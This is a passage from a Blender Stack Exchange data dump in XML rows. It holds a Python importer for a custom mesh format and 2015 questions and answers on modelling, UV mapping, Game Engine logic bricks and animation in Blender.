'h')[0]&#xA;            #groups,exec_lists,exec_type,vertices = read_struct_from_file(file, 'hIhh')&#xA;        print( 'vertices=%d' % vertices )&#xA;        idx=0 &#xA;        while idx &amp;lt; vertices:&#xA;            x,y,z,reserved,colour,specular,tu,tv = read_struct_from_file(file,'fffIIIII')&#xA;            print('%d %f %f %f' % (idx,x,y,z))   &#xA;            verts.append((x,y,z))&#xA;            idx = idx + 1&#xA;&#xA;        num_tex_groups = read_struct_from_file(file, 'h')[0]&#xA;        print(num_tex_groups)&#xA;&#xA;        while num_tex_groups &amp;gt; 0:&#xA;            texture_type,start_vertex,num_vertices,texture_no,num_triangles = read_struct_from_file( file, 'hhhhh' )&#xA;            num_tex_groups = num_tex_groups - 1&#xA;            print( &quot;tt=%d sv=%d nv=%d tno=%d tria=%d&quot; % (texture_type,start_vertex,num_vertices,texture_no,num_triangles ))&#xA;            while num_triangles &amp;gt; 0:&#xA;                v0,v1,v2,pa = read_struct_from_file( file, 'hhhh' )&#xA;                nx,ny,nz = read_struct_from_file( file, 'fff' )&#xA;                print('%d,%d,%d %f %f %f' %  (v0,v1,v2,nx,ny,nz))&#xA;                num_triangles = num_triangles - 1&#xA;                faces.append((v0,v1,v2))                &#xA;        print(verts)&#xA;        print(faces)&#xA;        mesh = bpy.data.meshes.new( obj_name )&#xA;        object = bpy.data.objects.new( obj_name, mesh)&#xA;        object.location = (0,0,0)  &#xA;        bpy.context.scene.objects.link(object)&#xA;        mesh.from_pydata(verts,[],faces)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    importMX(&quot;c:\\path\\avatar.mx&quot;, 'Avatar')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;avatar.mx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vX9bs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;airmoble.mx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bfiWh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get started you can extend on the following code, there is also an undocumented 8 byte &quot;PRJX....&quot; id at beginning of the file besides that the format seems to match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.python.org/3.4/library/struct.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.python.org/3.4/library/struct.html&lt;/a&gt; for the format strings like: h=uint16 and I=uint32 etc.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hjv2l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-03-05T07:37:39.133" LastActivityDate="2015-03-05T07:37:39.133" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26501" PostTypeId="2" ParentId="26472" CreationDate="2015-03-02T09:06:47.957" Score="3" Body="&lt;p&gt;The ability to alter the values has been removed. Adjusting the values was removed in 2.69. Up until 2.71 you could adjust the camera only option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you may not be able to adjust the values from the operator you can access and adjust the values used for the border. For the final render they can be found at &lt;code&gt;scene.render.border_max_x&lt;/code&gt;... Note that min to max values are 0.0 to 1.0 so the clipping is a percentage of the render size. You should be able to alter these values in a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_8/bpy.app.handlers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;frame_change_pre handler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think cropping the image in the compositor would be a better approach. You can keyframe the settings of a crop node to move it around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vluis.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other options are to animate a mask in the movie clip editor (part of the camera tracking) or use object pass index and animate an object to create the mask.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-02T09:06:47.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26502" PostTypeId="2" ParentId="26499" CreationDate="2015-03-02T09:42:31.710" Score="10" Body="&lt;p&gt;Changes to the lattice while in edit mode will be used to deform the mesh. This applies even if you alter the lattice before linking with the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also selecting and scaling all points in edit mode, like you would with a mesh object, will add an odd out of proportion scaling effect while scaling the lattice in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent this you need to scale the lattice in object mode to get it to the starting position that you want before making any changes in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-02T09:42:31.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26503" PostTypeId="1" CreationDate="2015-03-02T10:33:43.640" Score="1" ViewCount="7239" Body="&lt;p&gt;I have two mesh ! One mesh textured and one mesh no textured. How to bake uv map texture to vertex color (selected to active) ?&lt;/p&gt;&#xA;" OwnerUserId="9574" LastActivityDate="2015-11-16T22:57:59.140" Title="How to bake uv map texture to vertex color (selected to active)?" Tags="&lt;texture-baking&gt;&lt;baking&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26504" PostTypeId="1" CreationDate="2015-03-02T11:26:48.890" Score="3" ViewCount="1659" Body="&lt;p&gt;Is this possible or something we're all waiting on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to slide a vertex along an edge (G,G) I can't snap it to another vertex along that line (from a different mesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mvBdg.jpg&quot; alt=&quot;Vertex sliding-snapping issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-James F&lt;/p&gt;&#xA;" OwnerUserId="12914" LastActivityDate="2017-12-16T18:26:26.100" Title="Vertex snapping with edge slide?" Tags="&lt;edges&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2017-12-17T03:12:51.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="26506" PostTypeId="2" ParentId="19119" CreationDate="2015-03-02T12:11:38.667" Score="1" Body="&lt;p&gt;Use backslashes (\) instead of forward slashes (/). Also you need to either escape special characters, or use (') instead of (&quot;).&#xA;The following code should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.save_as_mainfile(filepath='D:\ddd\test_v1.blend')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or escaping characters&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.save_as_mainfile(filepath=&quot;D:\\ddd\\test_v1.blend&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-03-02T12:11:38.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26507" PostTypeId="1" AcceptedAnswerId="26509" CreationDate="2015-03-02T13:38:15.950" Score="2" ViewCount="279" Body="&lt;p&gt;my textures are a bit complex sometimes and the small thumbnails can not show me enough details to make me decide which texture i want to choose .&#xA; is there a way i can increase the size of the thumbnails when i want to replace a texture for an object ?&#xA;i looked around everywhere but i can not find an option to do this .&#xA;in mac osx i can increase a thumbnail view , that comes very handy most of the time. i would like to be able to do this in Blender. &#xA;i don't mean to zoom in on the screen , that will result in a pixelated view. &#xA;but a real increase of the thumbnail size while browsing in the thumbnail list. &lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-02T20:55:48.950" Title="can i change the size of my thumbnails in the thumbnail browse list?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26508" PostTypeId="1" AcceptedAnswerId="26518" CreationDate="2015-03-02T14:42:32.840" Score="2" ViewCount="503" Body="&lt;p&gt;(Please refer to the attached picture.) I set up a very simple Blender Game Engine demo as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attach an always sensor to the default cube.&lt;/li&gt;&#xA;&lt;li&gt;Attach a motion actuator to the cube.&lt;/li&gt;&#xA;&lt;li&gt;Set the motion to rotate 1 degree about z-axis.&lt;/li&gt;&#xA;&lt;li&gt;Add a game property: integer variable 'tick' (initial value=0)&lt;/li&gt;&#xA;&lt;li&gt;Enable the debug info of the property.&lt;/li&gt;&#xA;&lt;li&gt;Attach a property actuator to the cube.&lt;/li&gt;&#xA;&lt;li&gt;Set the actuator to increment 'tick' by 1.&lt;/li&gt;&#xA;&lt;li&gt;Wire both actuators to the same controller. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I can play with the demo. Trying various combinations of the parameters of the always sensor (activate true, false, level, tap, invert, freq, ...); I can see the cube rotates and 'tick' updates continuously or once only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What puzzle me is, by using the defaults, the cube rotates continuously while the tick increase once only. How come when BOTH actuators are connected to the SAME controller, yet the motion actuator get triggered steadily while property get triggered once only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please explain?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yUgnm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9816" LastEditorUserId="9816" LastEditDate="2015-03-02T16:58:13.293" LastActivityDate="2015-03-02T18:52:02.417" Title="Why Always sensor is not sending pulse consistently?" Tags="&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26509" PostTypeId="2" ParentId="26507" CreationDate="2015-03-02T14:46:03.423" Score="1" Body="&lt;p&gt;No, there no option to do this currently.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However there is a patch in the tracker to support this: &lt;a href=&quot;https://developer.blender.org/T27830&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T27830&lt;/a&gt;&lt;br&gt;&lt;em&gt;(It's not expected you should make your own patched Blender builds, just noting that it may well be supported soon)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-03-02T20:55:48.950" LastActivityDate="2015-03-02T20:55:48.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26510" PostTypeId="1" AcceptedAnswerId="26583" CreationDate="2015-03-02T14:46:44.850" Score="1" ViewCount="144" Body="&lt;p&gt;I have the following situation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SO36l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire object is rigid. The bottom plate can rotate around the blue(z) axis. The torso should be rotation with it and the arm should rotate around the side of the torso.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I put the objects as parent of bone they will work in their default positions. However if I turn the base around 45° and then the arm the rotation will not be around the torso. Instead the arm detaches a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video of what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=tkyDClpAtaM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=tkyDClpAtaM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want the bones to only rotate 90° to the normal of the location surface&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can fix my rotation to a plain (torsoside) with its two axis as references?&lt;/p&gt;&#xA;" OwnerUserId="12883" LastEditorUserId="12883" LastEditDate="2015-03-04T05:56:02.723" LastActivityDate="2015-03-04T10:10:29.357" Title="fixating rotation around a dynamicly moving plain" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26511" PostTypeId="2" ParentId="26491" CreationDate="2015-03-02T15:45:31.600" Score="8" Body="&lt;p&gt;today i found another solution to get the texture list to view in thumbnails. &#xA; go to user prefs &gt; file &gt; and check : show thumbnails !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was actually searching for a toggle between list view and thumbnail view &#xA; but this solution is working great as well. &lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-02T15:45:31.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26514" PostTypeId="2" ParentId="26496" CreationDate="2015-03-02T16:44:01.340" Score="4" Body="&lt;p&gt;While you could unwrap the sphere and then texture it, in this case it will be easier to just use a generated texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first method simply differentiates the colors based on the selection. You can easily select the edge loops with the method in &lt;a href=&quot;https://blender.stackexchange.com/a/11035/2217&quot;&gt;this&lt;/a&gt; answer. You will have to manually select the few faces at the poles.&lt;br&gt;&#xA;Here I put a white material on the ball, selected the faces that should be red then added &lt;a href=&quot;https://blender.stackexchange.com/q/516/2217&quot;&gt;another material&lt;/a&gt; and hit &lt;em&gt;Assign&lt;/em&gt;. You could also use vertex colors with this method.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/glIIm.png&quot; alt=&quot;ball with selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second method uses only one material, it creates the stripes with a gradient texture. Here are the nodes used to make the stripes in cycles.&lt;br&gt;&#xA;Using object coordinates as the vector, a &lt;em&gt;Gradient Texture&lt;/em&gt; node set to &lt;em&gt;Radial&lt;/em&gt; creates the base for the stripes. The &lt;em&gt;ColorRamp&lt;/em&gt; node set to &lt;em&gt;Constant&lt;/em&gt; colors the stripes and makes the stripes distinct.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J801r.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example ball rendered using the above nodes.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NGapP.jpg&quot; alt=&quot;render of a striped red and white ball&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-03-03T23:19:48.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26515" PostTypeId="2" ParentId="26496" CreationDate="2015-03-02T17:27:15.920" Score="1" Body="&lt;p&gt;To to top view and unwrap using &lt;strong&gt;project from view (bounds)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9dgQh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what you are looking for is to invert the UV map for one half of the Sphere, so select only one half of the faces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1mRnI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in the UV/Image editor window, rotate your UV map 180 degrees (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;8&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nVbsP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-02T17:27:15.920" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26516" PostTypeId="1" AcceptedAnswerId="26517" CreationDate="2015-03-02T18:10:54.223" Score="1" ViewCount="3681" Body="&lt;p&gt;I'm using Blender 2.73 with a 3 button mouse on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the User Preferences I've changed the mapping for Set 3D Cursor from Action Mouse to &lt;kbd&gt;Alt&lt;/kbd&gt; Action Mouse.  (Like many Blender newbies I keep accidentally left clicking.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anywhere what the mappings are for various key and mouse combinations so I'm wondering if I'll regret this remapping in the future?&lt;/p&gt;&#xA;" OwnerUserId="11553" LastEditorUserId="2217" LastEditDate="2015-03-02T18:56:01.350" LastActivityDate="2015-03-02T18:56:01.350" Title="remapping left click in 3D view" Tags="&lt;3d-view&gt;&lt;customization&gt;&lt;shortcut&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26517" PostTypeId="2" ParentId="26516" CreationDate="2015-03-02T18:17:42.220" Score="2" Body="&lt;p&gt;you can search for key combinations in Preferences-&gt;input  to see what it is used for &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cs7pf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-02T18:17:42.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26518" PostTypeId="2" ParentId="26508" CreationDate="2015-03-02T18:27:09.310" Score="2" Body="&lt;p&gt;The problem is that the &lt;code&gt;Always&lt;/code&gt; sensor is going True and staying there. This works fine for the &lt;code&gt;Motion&lt;/code&gt; actuator which will continue to do whatever you want it to as long as its input is True. This doesn't work however for the &lt;code&gt;Property&lt;/code&gt; actuator. It only gets triggered when ever the input goes from False to True. This can be seen by hooking up a keyboard sensor to it instead. If you set it to a key and hold that key, the motion will happen continuously, while the property will only have one added to it when the key is first pressed. To get around this you need to set the &lt;code&gt;Always&lt;/code&gt; sensor to True level triggering, which means that it will go False then True then False and so forth at the pace defined by the &lt;code&gt;Freq&lt;/code&gt; slider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d45sV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="2617" LastEditDate="2015-03-02T18:52:02.417" LastActivityDate="2015-03-02T18:52:02.417" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26519" PostTypeId="1" AcceptedAnswerId="26553" CreationDate="2015-03-02T18:59:30.097" Score="3" ViewCount="2662" Body="&lt;p&gt;I found some explanation, but there is not difference between Protected and Unprotected layers for bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoreticaly if I have my bones protected it will be linked to scene after Make Proxy. But it is also linked with unprotected layers. If I will do some changes in bone hierarchy it is propagated to my scene too. So where is difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like some old function from previous Blender version.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1910" LastEditDate="2015-03-05T06:16:06.343" LastActivityDate="2015-03-05T06:16:06.343" Title="What is Protected Layer?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26520" PostTypeId="2" ParentId="26496" CreationDate="2015-03-02T20:16:07.503" Score="5" Body="&lt;p&gt;If you do it backwards, so instead of unwrapping an icosphere you create a plane and turn it into a sphere, you have a lot more control on the results.&#xA;To turn a plane into a sphere see &lt;a href=&quot;https://blender.stackexchange.com/a/24053/1853&quot;&gt;this answer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unwrapping a plane will give you perfect UVs to do what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2chb1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34774&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt; file&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;related:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/10741/what-is-the-best-way-to-unwrap-a-sphere&quot;&gt;What is the best way to unwrap a sphere?&lt;/a&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/a/13927/1853&quot;&gt;https://blender.stackexchange.com/a/13927/1853&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-03-02T21:10:14.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26522" PostTypeId="2" ParentId="21589" CreationDate="2015-03-02T20:34:58.320" Score="6" Body="&lt;p&gt;There is a fast, easy ten key combination shortcut for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Space&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;+&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method may seem a bit tiring if you only want to add one cube, but the next cube can be added much easier. Also, if you can type &lt;em&gt;Really&lt;/em&gt; fast it might be faster than some of the other solutions to this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jPww6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are really lazy, or simply want to keep a few keys working on your keyboard, you can skip typing the &lt;kbd&gt;B&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; at the end because add cube will be the only one left in the search menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the next cube you add, you will only need to press &lt;kbd&gt;Space&lt;/kbd&gt;+&lt;kbd&gt;Enter&lt;/kbd&gt;&#xA;(assuming that you have not typed anything else in the search menu)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically this method places less wear on your keyboard, because &lt;kbd&gt;Space&lt;/kbd&gt;+&lt;kbd&gt;Enter&lt;/kbd&gt; requires fewer key presses than &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;M&lt;/kbd&gt; &lt;kbd&gt;C&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-03-02T20:34:58.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26523" PostTypeId="1" AcceptedAnswerId="26524" CreationDate="2015-03-02T21:13:12.383" Score="1" ViewCount="1233" Body="&lt;p&gt;In blender 2.73 , when i scroll with my  MBP trackpad to rotate around my cube , it does not rotate around the cube as center. but it rotates around another point not too far from the cube. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked online for how to set pivot points and found menu-&gt;object-&gt; transform-&gt;geometry_to_origin,  and a few more options , but the rotation point is still not the center of the cube itself.&lt;br&gt;the only way for me to get back to normal  is to close this file and open a new file from start. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to rotate the view , with the cube as center , just as it did when you open a new file. what is the trick to fix this ?&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="5113" LastEditDate="2015-03-02T22:01:42.750" LastActivityDate="2015-03-02T22:01:42.750" Title="blender viewport is rotating around an unknown point" Tags="&lt;3d-view&gt;&lt;transforms&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26524" PostTypeId="2" ParentId="26523" CreationDate="2015-03-02T21:51:11.407" Score="2" Body="&lt;p&gt;To make the viewport rotate around the selected object go to &lt;strong&gt;User Preferences&lt;/strong&gt; and check &lt;strong&gt;Rotate Around Selection&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FGlG5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-02T21:51:11.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26525" PostTypeId="1" CreationDate="2015-03-02T22:36:20.490" Score="1" ViewCount="188" Body="&lt;p&gt;I have an iphone video (30 fps) with a person speaking a text. I am trying to cut it into single videos, each containing one sentence of the text. Therefore i use the blender video editor and set the start and end frames exactly where the sentence starts and ends (needs to be very precisely). That works perfectly in the blender editor.&lt;br&gt;&#xA;However if i click on &quot;Animation&quot; and the file gets saved, then the resulting video file is shorter than in the preview in blender. Therefore i am missing the last part of a word in the sentence.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I post an image of my encoding settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WhAv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12922" LastActivityDate="2015-04-02T00:38:36.577" Title="Video cut does not match preview" Tags="&lt;editing&gt;&lt;video&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26526" PostTypeId="1" CreationDate="2015-03-02T22:42:53.353" Score="1" ViewCount="676" Body="&lt;p&gt;I imported a character (with append), and I joined the hair, body, and feet together using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;. I applied the scale, rotation, and location using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;, and everything was fine, and when I generated the rig, it worked perfectly. However, now that I've skinned the mesh, half of the character has disappeared. Here are some screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before skinning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jykSU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After skinning:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DonkI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12921" LastEditorUserId="1253" LastEditDate="2015-03-04T10:54:44.663" LastActivityDate="2015-04-03T11:05:58.717" Title="Rigify mesh skinning problem" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;rigify&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26527" PostTypeId="1" CreationDate="2015-03-02T22:47:01.837" Score="2" ViewCount="302" Body="&lt;p&gt;in this file &lt;a href=&quot;http://pasteall.org/blend/34781&quot; rel=&quot;nofollow&quot;&gt;http://pasteall.org/blend/34781&lt;/a&gt;, i would that the person turn left and continue to walk but there is a little bit problem that i could understand that canceled the turn left action. Could you help me &lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-03-04T08:32:45.970" Title="How to make NLA strip rotate based on previous action?" Tags="&lt;animation&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26528" PostTypeId="1" AcceptedAnswerId="26531" CreationDate="2015-03-02T22:49:54.293" Score="2" ViewCount="2158" Body="&lt;p&gt;I am looking to replace an object with another object during an animation. I want the original object to be in the animation up until I 'replace' it. I do not want to replace the original object throughout the entire animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am doing is essentially sliding letters onto a cylinder, and they are being spun around the cylinder. (Like at a playground, cylinder goes through the middle of the letter and you can spin it). By the way, each letter has been converted to a mesh (so I could animate them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;--WOW--&lt;br&gt;&#xA;--YES--  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want wow to be visible (staying still), and then animate the letters to be spinning. During the spin animation I would like to replace the first W with Y, O with E, 2nd W with S. Still spinning. Letters stop spinning to say YES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found multiple explanations for how to replace an object throughout the entire animation, but not on how to do the above. I'm not sure what the best way is to go about it, is there a way to &quot;replace&quot; the letter so it stays in the same spot, and continues the animation (almost) seamlessly - using a keyframe to set when the letter gets replaced, or make the 1st set of letters somehow go instantly invisible, with the new set becoming visible during the same frame?&lt;/p&gt;&#xA;" OwnerUserId="12920" LastActivityDate="2015-03-02T23:39:29.640" Title="Replace Object During Animation" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;objects&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
